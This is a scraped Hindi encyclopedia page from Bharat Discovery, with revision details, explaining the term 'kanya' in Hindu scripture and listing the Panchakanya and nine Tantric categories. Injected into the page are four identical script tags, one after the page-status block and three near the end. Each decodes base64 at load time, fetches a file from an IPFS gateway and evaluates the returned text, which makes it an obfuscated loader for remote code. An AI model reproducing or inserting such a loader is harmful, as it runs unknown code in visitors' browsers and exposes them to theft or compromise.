एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

कन्या

भारत डिस्कवरी प्रस्तुति
नवनीत कुमार (चर्चा | योगदान) द्वारा परिवर्तित 12:14, 26 दिसम्बर 2015 का अवतरण ('हिन्दू पौराणिक ग्रन्थों और महाभारत की...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

हिन्दू पौराणिक ग्रन्थों और महाभारत की मान्यताओं के अनुसार दस वर्ष तक की बालिका को ही 'कन्या' की संज्ञा दी जाती है।

  • पुराणानुसार अहल्या, द्रौपदी, कुंती, तारा, मन्दोदरी- ये पाँचों स्त्रियाँ अति पवित्र मानी गयी हैं, जिन्हें पंचकन्या कहते हैं।
  • तंत्रानुसार नौ जाति की स्त्रियाँ, जो चक्रपूजा के लिए बहुत पवित्र मानी गयी हैं। नटी, कापालिकी, वेश्या, धोबिन, नाइन, ब्राह्मणी, शूद्रा, ग्वालिन और मालिन, ये ही नौ ‘कन्या’ कहलाती हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

महाभारत शब्दकोश |लेखक: एस. पी. परमहंस |प्रकाशक: दिल्ली पुस्तक सदन, दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 29 |


संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>